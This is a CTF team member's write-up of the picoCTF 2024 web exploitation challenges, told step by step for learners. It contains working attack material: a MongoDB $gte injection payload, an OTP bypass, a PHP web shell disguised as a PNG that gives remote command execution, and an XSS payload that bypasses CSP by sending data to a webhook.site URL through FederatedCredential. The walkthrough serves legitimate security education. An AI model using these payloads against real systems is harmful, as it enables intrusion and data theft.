picoCTF 2024

Web Exploitation

Rundown

Published 2024-03-26

Introduction

picoCTF is an annual CTF comptition hosted by Carnegie Mellon University for highschoolers. Our team les amateurs plays each year and this year was no different. This year we placed 2nd place.

I solved all the web challenges for the team, along with some other miscellaneous challenges. This post will outline our problem solving process. I hope this format can help you how to solve the challenges, not just the solution.

Bookmarklet

Bookmarklet was a challenge was about bookmarklets (duh), which are snippets of javascript that can be bookmarked. A bookmarklet was provided in a textarea, which when ran, gave you the flag.

javascript:(function() {
    var encryptedFlag = "àÒÆަȬë٣֖ÓÚåÛÑ¢ÕӗԚÅКٖí";
    var key = "picoctf";
    var decryptedFlag = "";
    for (var i = 0; i < encryptedFlag.length; i++) {
        decryptedFlag += String.fromCharCode((encryptedFlag.charCodeAt(i) - key.charCodeAt(i % key.length) + 256) % 256);
    }
    alert(decryptedFlag);
})();

All you needed to do was execute the javascript. Here are a couple ways that you could have executed it.

You could create a new bookmark with the URL being the javascript. There are a couple ways of doing this. First is to right click your bookmark bar, press Add Page, and in the URL bar copy the code in. It will look similar to the model below.

Add Bookmark

The nice thing about bookmarklets is that since they are URLs you can drag them to the bookmark bar like any other URL. You can drag the below to the bookmark bar to recieve the flag as well.

Drag Me

Thats how you solve it with bookmarks, I solved it by opening the console with Ctrl + Shift + J, then copy and pasted the code into the console and ran it.

Basically with any way you can execute javascript, you can solve the challenge. Its not meant to be a hard challenge but its interesting to analyze all the different ways you can solve this challenge.

WebDecode

WebDecode was an inspector challenge. Clicking through the page, you'll find that the about page tells you to try inspecting on that page ( Ctrl + Shift + I), and if you do, you'll find something suspicious sitting there.

<section class="about" notify_true="cGljb0NURnt3ZWJfc3VjYzNzc2Z1bGx5X2QzYzBkZWRfZGYwZGE3Mjd9">
   <h1>
    Try inspecting the page!! You might find it there
   </h1>
   <!-- .about-container -->
</section>

That notify_true attribute looks awfully suspicious! It also looks like something that is Base64 encoded.

We can use CyberChef to decode this. It is personally my tool of choice when it comes to decoding stuff. Addtionally, CyberChef can detect common encodings and automatically decode them for you! Just press the button after pasting the input and it will automatically decode your input!

Unminify

This challenge is pretty similar to WebDecode. You are given a website and are told to find the flag. Again we can open the inspect menu (Ctrl + Shift + I) and take a look at what the markup looks like. There are a lot nested elements so we can use a nice feature of DevTools, expand recursively.

<body class="picoctf{}" style="margin:0">
Edit as HTML
Create New Node

...

Expand recursively
Collapse All

Right click on the body element and press Expand recursively, Then you can just go ahead and scroll through the markup looking for the flag.

Firefox also has a really nice "Search HTML" bar where you can search for picoCTF and find the flag. (Another reason why firefox is superior to chrome)

IntroToBurp

Ok the inspector challenges are done. Next up is IntroToBurp. As the name implies, you can use BurpSuite to solve this challenge, but like all other web challenges this isn't nessasary.

The page looks like this:

Registration







Right, one more thing before we get into the challenge. It is important that you understand how HTTP requests for this challenge. I'll go over them quickly in the next section, but you should make sure you really understand them because this challenge relies on you understanding them.

Http Requests

HTTP requests are the "text messages" of the internet. Your browser sends HTTP requests to servers which will then process and reply with a response, which is then displayed on your screen. HTTP requests are made up of 3 sections, the Request Line, the Headers, and the Body.

POST /dashboard HTTP/1.1
Request Line
Host: titan.picoctf.net:57434
Content-Length: 5
Content-Type: application/x-www-form-urlencoded
Headers

otp=a
Body

Lets go over each portion and what info it stores:

  • Request Line: This contains the Method, path, and HTTP version
  • Headers: This contains key-value pairs with info about the request, info like User-Agent which tells the server which browser they are using or Content-Length which specifies the length of the body.
  • Body: The main bulk of the request. Contains things like form details or passwords on a login page.

The body can be any file type, and the type of file is defined by the Content-Type header. In this case the type is application/x-www-form-urlencoded which contain multiple key-value pairs like such.

key=value&key2=value2&key3=value3

Many applications use application/json for the body, for instance No Sql Injection uses application/json for its forms. File uploads also use the body field, for example if you inspect a file upload in Trickster, you'll see the file itself getting uploaded in the body.

This was a really quick introduction into HTTP requests, but if you still don't understand them, I recommend doing some research yourself.


We can fill this form with some random information. As seen above, I just filled it out with a. When we submit the form, a POST request is made to the current page.

A POST request indicates to the server that we want want them to store this data.

302 POST http://titan.picoctf.net:57434/

Request Body application/x-www-form-urlencoded

csrf_token
...
full_name
a
username
a
phone_number
a
city
a
password
a
submit
Register

Response Cookies

session
httpOnly: true
path: /
value: .eJw9jEsKAyEQRO_iOgsdP21yGWm1h4TMqPhhCCF3j4Ehu3pVvHqz8Ogvd...

Response Headers

Location
/dashboard
Server
Werkzeug/3.0.1 Python/3.8.10

After submitting the form, the server returns us a cookie which is a session token. that our browser will use for later requests. It also sends back a Location header which tells our browser to redirect to /dashboard. (Note that the status code is 302. Status codes in the 3XX range always mean redirect)

Anyways we are then redirected to /dashboard, where there is a single input box asking for a one time password. It looks something like this.

2fa authentication

If we enter anything and press the button, the following request is made:

200 POST http://titan.picoctf.net:57434/dashboard

Request Body application/x-www-form-urlencoded

otp
a

Response Body text/html

Incorrect OTP

Yikes, not any other info is given to us, so it looks like we just need to bypass the otp check somehow. At this point, it really isn't obvious how to procced, but if you read the hints, one of them is

Try mangling the request, maybe their server-side code doesn't handle malformed requests very well.

Lets start messing with the requests to see if we can get anywhere. Again, BurpSuite can be used to solve the challenge. Here are the steps to modify a request in Burp.

  1. Go to the Target tab, open the browser
  2. Navigate to the page you want, then replicate the request you want to make. In this case we want to replicate the POST /dashboard request which is made when you enter an OTP
  3. Back in the Burp Suite window, right click the request, press "Send to Repeater"
  4. Click the Repeater tab, and start editing the request on the left
  5. Press the Send button

This was actually the first time I used Burp Suite to solve a challenge like this, generally when I need to repeat a request, I navigate to the network tab of DevTools, right click the request and "Copy as Fetch" then use the javascript console to repeat the request.

A lot of people may tell you to learn Burp or whatever, but at the end of the day, it really doesn't matter which tool you use. Don't feel pressued to use any specific tool, fancy tools can help but at the end of the day you are limited by how much you know.

We'll try messing around with the body first. In BurpSuite the body should be the otp=a part of the request.

I encourage you to mess around with the body yourself a bit. try changing that part of the request around and see what happens. Here is a recreation of the challenge. Try entering tings into the body and see what happens.

200 POST http://titan.picoctf.net:57434/dashboard

Request Body application/x-www-form-urlencoded

otp
a

Response Body text/html

Incorrect OTP

Hopefully you've played around with the challenge a little bit, because I'm about to spoil the solution.
.
.
.
.
.

The first thing I tried was to remove the body entirely. To my suprise, sending an empty request actually worked and I got the flag.

200 POST http://titan.picoctf.net:57434/dashboard

Request Body application/x-www-form-urlencoded

<empty>

Response Body text/html

Welcome, a you sucessfully bypassed the OTP request. Your Flag: picoCTF{#0TP_Bypvss_SuCc3$S_2e80f1fd}

Here are some other things you could have tried, take a look at what happens with each of these bodies.

200 POST http://titan.picoctf.net:57434/dashboard

Request Body application/x-www-form-urlencoded

otp
a

Response Body text/html

Incorrect OTP

No Sql Injection

True to its name, there is No SQL Injection, but there NoSQL Injection! NoSQL refers to non-relational database structures where all data is stored under one singular data structure. In this challenge, the NoSQL database of choice is MongoDB, and they use a javascript library known as mongoose to interface with it.

In a lot of database injection challenges, it's good practice to look at where the flag is, so it's easier to extract later, in this case, a quick search for flag shows that its part of the user schema.

const UserSchema: Schema = new Schema({
  email: { type: String, required: true, unique: true },
  firstName: { type: String, required: true },
  lastName: { type: String, required: true },
  password: { type: String, required: true },
  token: { type: String, required: false ,default: "{{Flag}}"},
});

The User schema can be found in two places, first when they place a seed user into the database in seed.ts, and secondly for the login page in route.ts.

export const POST = async (req: any) => {
  const { email, password } = await req.json();
  try {
    await connectToDB();
    await seedUsers();
    const users = await User.find({
      email: email.startsWith("{") && email.endsWith("}") 
        ? JSON.parse(email) 
        : email,
      password: password.startsWith("{") && password.endsWith("}") 
        ? JSON.parse(password) 
        : password
    });

    if (users.length < 1)
      return new Response("Invalid email or password", { status: 401 });
    else {
      return new Response(JSON.stringify(users), { status: 200 });
    }
  } catch (error) {
    return new Response("Internal Server Error", { status: 500 });
  }
};

The most important line is when User.f‌ind is called. Basically, if our username or password starts with {, it'll parse it as JSON and use that as the argument for User.f‌ind.

Lets take a look at the docs for mongoose to see what we can do with objects in the User.f‌ind.

// find all documents
await MyModel.find({});

// find all documents named john and at least 18
await MyModel.find({ name: 'john', age: { $gte: 18 } }).exec();

// executes, name LIKE john and only selecting the "name" and "friends" fields
await MyModel.find({ name: /john/i }, 'name friends').exec();

// passing options
await MyModel.find({ name: /john/i }, null, { skip: 10 }).exec();

Hmmm alright, looks like we can do some fancy stuff with objects like $gte or even regex! At this point I wasn't sure what to do, I could try using $gte to bypass the login screen, but I wasn't completely sold on using $gte to bypass the check. So instead, I decided to do some more research.

After a quick google search I stumbled upon this StackOverflow post which had just the payload I needed

{
    "email": { "$gte": "" },
    "password": { "$gte": "" }
}

Hah! Take that critical thinking and problem solving! Yet again, Google proves to be the best resource in CTF, we can enter { "$gte": "" } into both fields, and that will log us in.

This works because mongoose will try to find any user who's email and password is greater than or equal to "" and any email or password wil be greater than or equal to "".

If we look at what will happen when you login, you'll see it returns all users that it matched. If you are looking at BurpSuite, you'll see the request in the Target tab, alternatively, open up DevTools and click on the network tab, there you'll see the request:

200 POST http://atlas.picoctf.net:63191/login

Request Body application/json

email
{ "$gte": "" }
password
{ "$gte": "" }

Response Body application/json

_id
65f08c7b410684fbd599d448
email
joshiriya355@mumbama.com
firstName
Josh
lastName
Iriya
password
Je80T8M7sUA
token
cGljb0NURntqQmhEMnk3WG9OelB2XzFZeFM5RXc1cUwwdUk2cGFzcWxfaW5qZWN0aW9uXzUzZDkwZTI4fQ==
__v
0

Note: The response body is actually an array of users, but since there is only 1 entry so I flattened it can have this nice formatting

If you do not see that request, make sure Preserve Log is checked. That way you won't lose the request when it redirects.

And there we have it! The flag is encoded in Base64 under the token field.

Trickster

This challenge was solved by my teammate @smashmaster, we've seen challenges like this so very quickly we realized we needed to upload a file that the server thought was a png, but in reality was a php file. This solve also seemed to match up with the name of the challenge.

smashmaster played around with the program a bit, and ended up guessing that the files you uploaded were put into the /uploads/ subdirectory. So all he needed to do was to craft a php reverse shell that also looked like a png.

The payload he ended up with was:

�PNG


IHDR�Xr�sRGB��� IDATx���y�l�]��ﻝ��uow�[j�F�ľ�1��bl�1`������`�3x�6�0f�Yd�A�Y����]H�X$$6�A�Xڢ%z��*3�9�2��=��jAK}[�M?��TUYY'3�"���~�kJ)�#e���(����KDDDDDDDD��,9j
�DDDDDDDD�)����KDDDDDDDD��,9j
�DDDDDDDD�)����KDDDDDDDD��,9j
�DDDDDDDD�)����KDDDDDDDD��,9j
�DDDDDDDD�)����KDDDDDDDD��,9j
�DDDDDDDD�)����KDDDDDDDD��,9j
�DDDDDDDD�)����KDDDDDDDD��,9j
�DDDDDDDD�)����KDDDDDDDD��,9j
<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" autofocus id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<pre>
<?php
    if(isset($_GET['cmd']))
    {
        system($_GET['cmd']);
    }
?>
</pre>
</body>
</html>

Nothing fancy, just a php reverse shell attached directly after a valid PNG. smashmaster named the file polygot.png.php because the server checks to see if .png is in the name of the file.

After uploading, you can just access https://atlas.picoctf.net:50563/uploads/poly.png.php?cmd= and stick whatever command you want after. You now have full RCE on the server, so now we need to go find the flag.

After poking around a bit, you'll find some files in the parent directory. ls .. gives you

GQ4DOOBVMMYGK.txt
index.php
instructions.txt
robots.txt
uploads

catting the suspicious looking file gives us the flag yay!

Poking around some more

After that smashmsater poked around a bit more. instructions.txt looks like a prompt to an LLM to generate the source code for the challenge.

Let's create a web app for PNG Images processing.
It needs to:
Allow users to upload PNG images
	look for ".png" extension in the submitted files
	make sure the magic bytes match (not sure what this is exactly but wikipedia says that the first few bytes contain 'PNG' in hexadecimal: "50 4E 47" )
after validation, store the uploaded files so that the admin can retrieve them later and do the necessary processing.
Finally, the source code of the challenge itself:
<!DOCTYPE html>
<html>
<head>
    <title>File Upload Page</title>
</head>
<body>
    <h1>Welcome to my PNG processing app</h1>

    <?php
    if ($_SERVER['REQUEST_METHOD'] == 'POST') {
        $uploadDirectory = 'uploads/';
        $uploadedFileName = $_FILES['file']['name'];
        $uploadedFile = $_FILES['file']['tmp_name'];

        // Check if the file has a ".png" in its name
        if (stripos($uploadedFileName, '.png') !== false) {
            // Check the first 4 bytes of the file for "50 4E 47" (PNG file signature)
            $fileContents = file_get_contents($uploadedFile);
            $fileSignature = bin2hex(substr($fileContents, 0, 4));
            
            //if ($fileSignature === '504e47')
            if (strpos($fileSignature, '504e47') !== false) {
                $destinationPath = $uploadDirectory . $uploadedFileName;

                if (move_uploaded_file($uploadedFile, $destinationPath)) {
                    echo "File uploaded successfully and is a valid PNG file. We shall process it and get back to you... Hopefully";
                } else {
                    echo "Error: File upload failed.";
                }
            } else {
                echo "Error: The file is not a valid PNG image: ".$fileSignature;
            }
        } else {
            echo "Error: File name does not contain '.png'.";
        }
    }
    ?>

    <form method="POST" enctype="multipart/form-data">
        <input type="file" name="file" accept=".png">
        <input type="submit" value="Upload File">
    </form>
</body>
</html>

Elements

Alright its time for the main course! EhhThing's annual hellscape, Elements!! Last year, he wrote msfroggenerator2, which was very difficult. I was very excited when I heard he wrote another challenge for this year.

Before I start talking about the solution, I would like to thank my team for helping out with this challenge. This challenge could have not been possible without my incredible teammates who constantly push me to be the best I can be, as well as provide assistance whenever possible.

If you can, find yourself a team to play with, playing CTFs with friends is infintely more fun than playing alone.

Anyways, onto the solution! The next few pages of words will be full of pure malding and will outline everything that we tried before eventually arriving at our solution, so if you want to skip that, click here: Gimmie Solution!!

Overview

Lets go through a quick rundown of this challenge. Elements is an Infinite Craft clone, and our end goal is to get XSS and bypass the Content Security Policy preventing us from leaking any info. There are 4 important files. This section will be a brief overview of the files, but I recommend you download the challenge yourself and try to understand the files yourself.

  • index.mjs: The main server code, this is what is responsible for serving files and spawning the admin bot. We'll be covering this file quite a lot because its the most important file in this challenge.
  • static/index.js: This is the client code, we'll use this file to get XSS, apart from giving us XSS it doesn't really need to be analyzed. You get XSS by crafting the "XSS" element, which we'll cover in Getting Eval.
  • chromium.diff/chromium.deb: This is the custom chromium patch that patches one of the unintended solutions to this challenge. We'll go over which unintended this patches, because although its not the possible to use it to solve, its still interesting to talk about.
  • Dockerfile: This is what brings everything together and what is actually being run on the server. make sure to understand that it starts a display and chrome is not headless.

Getting Eval

eval is called in static/index.js when you craft the "XSS" element. This is done by combining the 4 elements until you get the XSS element.

const evaluate = (...items) => {
  const [a, b] = items.sort();
  for (const [ingredientA, ingredientB, result] of recipes) {
    if (ingredientA === a && ingredientB == b) {
      if (result === "XSS" && state.xss) {
        eval(state.xss);
      }
      return result;
    }
  }
  return null;
};
    

We can pass in a list of recipe steps in order to craft whatever we want. This means we can pass the steps required to make the XSS element in order to get an eval call.

try {
  state = JSON.parse(atob(window.location.hash.slice(1)));
  for (const [a, b] of state.recipe) {
    if (!found.has(a) || !found.has(b)) {
      break;
    }
    const result = evaluate(a, b);
    found.set(result, elements.get(result));
  }
} catch (e) {}

Generating the correct steps is not a trivial question though. I myself wrote a really crappy solution then manually sorted the list so it would craft things in the correct order, but my orz teammate @skittles1412 (usaco platinum, ioi gold? wow so orz) wrote a much better solution, so I'll be showcasing his solution instead.

The pairs of things you can combined to make a seperate thing is stored in a array called recipes

 const recipes = [
    ["Ash", "Fire", "Charcoal"],
    ["Steam Engine", "Water", "Vapor"],
    ["Brick Oven", "Heat Engine", "Oven"],
    ["Steam Engine", "Swamp", "Sauna"],
    ["Magma", "Mud", "Obsidian"],
    ["Earth", "Mud", "Clay"],
    ...
    ["Exploit", "Web Design", "XSS"],
  ]
    

The first two values of each row is the two things you need to combine to make the third thing. For instance, Exploit and Web Design combine to make XSS. We only start off with 4 elements (Fire, Water, Earth, and Air), and we need to combine our way to "XSS"

The way we'll solve it is called DFS or Depth-First Search, in essence we figure out what two elements we need to create XSS (Exploit and Web Design), then figure out the two elements required to make Exploit (Cybersecurity and Vulnerability), then the two elements required to make Cybersecurity, until we have a path from the original 4 ingredients to our desired XSS element.

If that was a little confusing, lets take a look at the code to solve this.

const graph = {};

// constructs map for element => ingredients
for (const [u1, u2, v] of recipes) {
	graph[v] = [u1, u2];
}

const visited = {};
const base = ["Fire", "Air", "Water", "Earth"];
const out = [];

function dfs(element) {
	if (visited[element] || base.includes(element)) {
		return;
	}
	visited[element] = true;

    // get recipes for parents
	for (const parent of graph[element]) {
		dfs(parent);
	}
  
    // push the recipe onto the solution
	out.push(graph[element]);
}

dfs("XSS");

console.log(JSON.stringify(out));

Here is a visualization of the algorithm. Yellow dots are the core 4 ingredients that you start with, blue dots are things that are already created. Hover over any element to see its name.

Step 00 of 53
😈XSS

An intresting consequence of reusing stuff is the graph becomes a lot more left heavy as a lot of the algorithm earlier needs to traverse deeper, but later in the algorithm, it doesn't need to as the things it runs into are already created for it.

Cool, now that we have XSS on the page, the solve should be easy right? right??

Sweet, Sweet, Hellish CSP

CSP, or Content Security Policy is a web technology that allows a website to control how resources are loaded and used. The challenge has only started. We need to find a way to bypass the CSP in order to win, because if we don't bypass CSP, we won't be able to leak any information, and that includes the flag.

So, lets take a look at the CSP, shall we?

const csp = [
	"default-src 'none'",
	"style-src 'unsafe-inline'",
	"script-src 'unsafe-eval' 'self'",
	"frame-ancestors 'none'",
	"worker-src 'none'",
	"navigate-to 'none'"
]

Lets go over every part of this CSP, and see what it prevents us from doing.

  1. default-src 'none': This line prevents you from loading any resource from any url unless otherwise specified. This means no loading images, fonts, etc. from external websites.
  2. style-src 'unsafe-inline': This line allows styling as long as its done inline (with the <style> tag).
  3. script-src 'unsafe-eval' 'self': This line allows javascript being run when using the eval function, or if it is from the current origin, this means it can load static/index.js from the server without it getting blocked.
  4. frame-ancestors 'none': No <iframe>s allowed :(
  5. worker-src 'none': Prevents you from using the WebWorkers API.
  6. navigate-to 'none': Disables any form of redirect to another page, even links are disabled.

This is incredibly strict, barely allowing us to do anything. There are a couple more mitigations to possible unintendeds that EhhThing put in place, but we'll cover them as they pop up.

Setting Up the Enviornment

This is probably the most important step in any web challenge, which is setting up the enviornment for this challenge. I usually skimp over this step, and it has bit me in the ass many, many times.

In this challenge, we need to setup the custom chromium build as well as hosting the server ( index.mjs). Hosting the server is as easy as node index.mjs because there are no dependencies (thank you ehhthing!), but getting the chromium build is slightly harder

First thing we do is unpack chrome.deb

$ mkdir chrome
$ cd chrome
$ ar x ../chrome.deb

Inside we'll find two more tar files.

$ ls
control.tar  data.tar  debian-binary

Unpack data.tar, and you'll find the chrome binary sitting at opt/chromium.org/chromium-unstable/chromium-browser-unstable

$ tar -xvf data.tar
$ ./opt/chromium.org/chromium-unstable/chromium-browser-unstable

Cool, now we have the same browser that will be used for the admin bot.

Initial Attempts

There are two commonly used CSP bypasses, DNS Prefetch, and using WebRTC. Both can leak data through a strict CSP. Both leaks do not involve the HTTP layer, which allows it to bypass the CSP.

We can use WebRTC by abusing a setting in RTCPeerConnection. More specifically the iceServers option (ICE stands for Interactive Connectivity Establishment), which allows us to specify a list of STUN servers which will be used to resolve other clients for RTC. This means we can specify our own server as a STUN server, and it will be requested when the RTCPeerConnection gets used.

Unfortunately its not that easy, if we look at chromium.diff, we'll find that RTCPeerConnection was patched out.

diff --git a/third_party/blink/renderer/modules/peerconnection/rtc_peer_connection.idl b/third_party/blink/renderer/modules/peerconnection/rtc_peer_connection.idl
index f0948629cb..393e7c77e0 100644
--- a/third_party/blink/renderer/modules/peerconnection/rtc_peer_connection.idl
+++ b/third_party/blink/renderer/modules/peerconnection/rtc_peer_connection.idl
@@ -61,10 +61,7 @@ enum RTCPeerConnectionState {
 // https://w3c.github.io/webrtc-pc/#interface-definition

 [
-    ActiveScriptWrappable,
-    Exposed=Window,
-    LegacyWindowAlias=webkitRTCPeerConnection,
-    LegacyWindowAlias_Measure
+    ActiveScriptWrappable
 ] interface RTCPeerConnection : EventTarget {
     // TODO(https://crbug.com/1318448): Deprecated `mediaConstraints` should be removed.
     [CallWith=ExecutionContext, RaisesException] constructor(optional RTCConfiguration configuration = {}, optional GoogMediaConstraints mediaConstraints);

Taking a quick glance at the diff, we can see the line Exposed=Window and LegacyWindowAlias=webkitRTCPeerConnection were removed, and we can pretty confidently say that RTCPeerConnection is not accessable from javascript anymore.

We can also test this in our newly setup chromium instance. Inside the modified chrome, try looking for RTCPeerConnection in the javascript console, you won't be able to find it.

So we can't use WebRTC. What a shame, we also look into DNS prefetch, but we'll see it doesn't work.

DNS prefetch is a browser feature that allows the browser to resolve website IPs through DNS before you click on any link. This drastically decreases load times but we can also use it to leak information.

I'm not going to cover it in too much detail here, but I highly recommend the paper Data Exfiltration in the Face of CSP which goes over DNS prefetch much more thoroughly.

I was quite convinced that DNS prefetch was the intended solution because DNS prefetch doesn't work without a display, and this challenge spawned an display (start_display.sh) so it made sense to me that DNS prefetch should work.

After a while of tinkering with DNS prefetch, I was unable to get it to work and smashmaster pointed out that network_prediction_options was set to 2 in the preferences.

await writeFile(join(userDataDir, 'Default', 'Preferences'), JSON.stringify({
	net: {
		network_prediction_options: 2
	}
}));

At first I thought a setting of 2 would always allow DNS prefetching, but after finding and consulting a docs page I found out that 2 meant "Don't predict network actions on any network connection"

Alright, those two ideas are dead. I have no more ideas.

A Random Assortment of Ideas

At this point smashmaster and I started searching for some new ideas. I'm just going to rapid-fire through them but here are some ideas we considered.

We looked into maybe some sort of CSS injection because of style-src 'unsafe-inline', but after thinking about it for a minute we realized that wasn't going to happen.

We looked into the report-uri and report-to CSP directives before realizing there was no way to append these directives to the CSP that the server served to us.

We also tried closing the admin bot window with window.close() so the process.kill would throw an error, but 1. window.close() did not work and, 2. We missed the massive try ... catch block around process.kill

Another small thing we tried was creating an <a> tag and using element.click() to navigate to another page, but navigate-to also stops these anchor tags which proved to be very annoying.

At this point smashmaster and I started looking through some more web APIs, seeing if any of them could be of any use to us.

So it seems like the chrome developers are smarter than we anticipated, and all the APIs adhere to the CSP policy.

The DoS Era

By this point, our crypto main @HELLOPERSON had just blooded flag_printer with skittles1412, so he was able to help out with elements now.

We started looking into somehow performing a Denial of Service attack on the server, and then being able to detect that to leak info.

HELLOPERSON looked into some DoS bugs on the Chromium Issues website. We ended up not using any of these, but they are here for the intrested.

Show DoS Bugs

Although we ended up not using any of the bugs listed above, we still tried going with the idea of DoSing the server.

At first we tried using while(1)location.reload() to hopefully force the browser to consume enough resources in order to detect some timing difference when requesting other pages.

We would request the page multiple times while the browser was alive and then request when the browser wasn't active. Then we would find the average request time during both periods.

XSS = """while(1)location.reload()"""

payload = json.dumps({'recipe':recipes, 'xss': XSS})

# starts the browser
r = requests.post(
  f"http://{DOMAIN}/remoteCraft", 
  params={'recipe':payload}
)

# requests over the course of 10 seconds
if True:
    times_run = 0
    sum = 0
    start = time.time()
    while time.time() - start < 10:
        tstart = time.time()
        requests.get(f"http://{DOMAIN}/") 
        tend = time.time()
        sum += tend - tstart
        times_run += 1
    print (f"load avg: {sum / times_run}")


# requests over the course of 10 seconds
# but the browser is off
if True:
    times_run = 0
    sum = 0
    start = time.time()
    while time.time() - start < 10:
        tstart = time.time()
        requests.get(f"http://{DOMAIN}/") 
        tend = time.time()
        sum += tend - tstart
        times_run += 1
    print(f"nonload avg: {sum / times_run}")

Unfortunately, the timing differences between when the browser was open and when it was close was too small/variable to detect a difference between the two. We tried other payloads that utilized HTML that was rendered really slowly but nothing ended up working.

Additionally, skittles1412 thought about filling up the disk until the entire server crashes, he ended up getting >9gb of data onto the server, but this ended up not working, also it would be very, very slow to exfiltrate data this way.

In the end, we spent an entire day chasing this lead. I should have realized that this wasn't going anywhere earlier so we could have investigated other things earlier.

Back to Random APIs

Yet again we were out of ideas, so smashmaster went back to looking at new APIs. This time he threw out a lot of ideas. He started looking through this page in the chromium source. We scanned through LockedMode, ModelExecuationAPI, RTCJitterBufferTarget. smashmaster also brought up that the CredentialContainer from the Credential Management API and how there is an iconURL field in the create() method.

We tried using the create() method with an iconURL to request a URL, but nothing happened when calling the function. So we moved onto the next idea.

navigator.credentials
  .create({
    password: {
      id: "ergnjregoith5y9865jhokmfdskl;vmfdl;kfd...",
      name: "fluffybunny",
      origin: "example.com",
      password: "fluffyhaxx0r",
    },
  });

Next up was revising <fencedframe>. Last time we looked at it, we didn't really understand what was going on, so this time we tried playing around with it some more. This lead didn't last long though, because I decided to take a second look at the Credential Management API.


This time, I really wanted to understand how the Credential Management API worked, and what it was used for. It bugged me that when we ran the create() function, nothing really happened. So I started playing around a bit more with the API as well as read the documentation.

The Credential Management API is used when the website wants to store a password to the browser's password manager. Using navigator.credentials, which is an instance of CredentialContainer, will allow you to manage credientals for the current page by interfacing with the browser.

CredentialContainer has a couple methods for managing these credientals. You've already seen create() but it also has get() and store()

There are also multiple types of Credentials that you can store, which can be found here. We'll only be looking at PasswordCredential and FederatedCredential because those two are the only ones with the iconURL field.

When you call navigator.credientals.store(cred) on a PasswordCredential or FederatedCredential, the user will be prompted to add the credential to the browser.

Save Password?

Username
Password
Storing a PasswordCredential

Save Username?

iconURL
fluffybunny
ergnjregoith5y9865jhokmfdskl;vmfdl;kfd...
accounts.example.com
Storing a FederatedCredential

Astute readers would have already realized what the solution is, but lets continued with my experimentation with this API. I started messing around with PasswordCredential and storing them. It turns out if the user accepts, and then you call navigator.credientals.get(cred) with the same PasswordCredential object, you'll get the following popup.

Sign in as

iconURL
fluffybunny
ergnjregoith5y9865jhokmfdskl;vmfdl;kfd...
Getting a PasswordCredential

If we set the iconURL to a server we control, we'll see when call get() on the PasswordCredential, we'll see that it gets requested! We can leak things!

Sadly, this only works if the user accepts the prompt to save their password. This means that it requires user interaction to exfiltrate data, so we can't continue with this method.

At this point I decided to play around with the FederatedCredential because I didn't think that I would be able to get user interaction.

When I stored the FederatedCredential, it turned out that the icon was part of the prompt! We now had a CSP bypass and could leak the flag.

Bringing it all together

We now have all we need to solve the challenge, lets first use our DFS script to get the XSS element.

$ node dfs.js
[["Earth","Fire"],["Earth","Water"],["Magma","Mud"],["Earth","Obsidian"],["Obsidian","Water"],["Air","Water"],["Fire","Mist"],["Fog","Mud"],["Hot Spring","Sludge"],["Computer Chip","Steam Engine"],["Computer Chip","Fire"],["Artificial Intelligence","Data"],["Hot Spring","Steam Engine"],["Computer Chip","Electricity"],["Encryption","Software"],["Air","Earth"],["Fire","Steam Engine"],["Dust","Heat Engine"],["Fire","Sand"],["Glass","Software"],["Cybersecurity","Vulnerability"],["Magma","Mist"],["Air","Rock"],["Computer Chip","Software"],["Internet","Program"],["Exploit","Web Design"]]

We'll be using python requests to write a solve script here. In the solve script, assign a variable to the output of the script.

Then we need to craft our XSS payload, here is the one I used.

const cred = new FederatedCredential({
  id: 'solve',
  provider: 'https://google.com',
  iconURL: 'https://webhook.site/860b1d8d-f0cc-4cb8-aeca-xxxxxxxxxxxx/?'+state.flag,
});
navigator.credentials.store(cred);

Then we send the request and get the flag!

recipes = [["Earth","Fire"],["Earth","Water"], ...]

XSS = """..."""
assert len(XSS) < 300

payload = json.dumps({'recipe': recipes, 'xss': XSS})

r = requests.post(f"http://{HOST}/remoteCraft", params={'recipe':payload})
print(r.text)

If you are on a chrome style browser, you can click the following to see the popup for yourself.

In hindsight, this API seemed a tad bit obvious because of how EhhThing explicitly created a new profile for each bot, which means that whatever the exploit was had some sort of profile persistance. (Which this one happened to have, the popup only opens the first time)

Closing Thoughts

This year's picoCTF was fun, albeit easier than previous years. I had fun with all the challenges, especially Elements.

For anyone who is still reading, thanks for reading! I know that this writeup was much longer than most you'll find, but I hope that I was able to illustrate how we think about these problems and how we come to solve them.

Even with how long the elements portion is, we tried much more than what was listed in this post, and I hope this paints a picture of how much trial and error is involved with challenges like this.

The most important skill is a willingness to learn and keep trying. This is something I suffered with last year, not really pushing through solving msfroggenerator2, but it's something I myself am hoping to improve at.

Figuring out which paths won't lead anywhere takes a good amount of intuition, and that intuition can only be built through practice. Speaking of practice, time for shameless plugging time!! Our own CTF, AmateursCTF, is happening April 5th! It will be a fun time :)

Finally, because I was the first to solve elements the way the author intended, EhhThing sent me a goose plushie from his school, University of Waterloo. Here it is in all its glory. waterloo goose plushie

Special Thanks

Yet again, I would like to give thanks to my team for being such a great group of people. Also thanks to EhhThing for sending me such a cute goose plushie :)

Additionally, please help improve this article!! If you are confused about any given section, or have suggetions, please, please DM me at @voxxal on Discord. I want to make this writeup the best it can be, and if any part of it is confusing, I'd like to clear that up for future readers. You'll also be added to this section!